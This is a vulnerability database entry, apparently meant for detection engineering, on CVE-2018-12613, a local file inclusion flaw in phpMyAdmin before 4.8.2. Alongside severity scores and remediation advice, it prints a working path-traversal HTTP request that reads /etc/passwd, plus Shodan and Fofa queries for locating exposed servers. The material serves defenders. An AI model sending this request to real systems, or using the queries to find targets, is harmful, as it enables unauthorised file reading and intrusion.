🔙 목록으로 돌아가기

CVE-2018-12613: PhpMyAdmin <4.8.2 - Local File Inclusion

TitlePhpMyAdmin <4.8.2 - Local File Inclusion
Authorpikpikcu
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read arbitrary files on the server.
RemediationUpgrade PhpMyAdmin to version 4.8.2 or later to fix the vulnerability.
CVSS Score8.8
EPSS Score0.94294
CVE IDCVE-2018-12613
CWE IDCWE-287
Shodan Queryhttp.title:"phpmyadmin"http.component:"phpmyadmin"cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
Fofa Querytitle="phpmyadmin"body="pma_servername" && body="4.8.4"
Tags cve cve2018 vulhub edb phpmyadmin lfi vkev vuln

🔍 Vulnerability Description

PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the “$cfg[‘AllowArbitraryServer’] = true” case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the “$cfg[‘ServerDefault’] = 0” case (which bypasses the login requirement and runs the vulnerable code without any authentication).

🌐 HTTP Request

GET /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-12613.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-12613.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A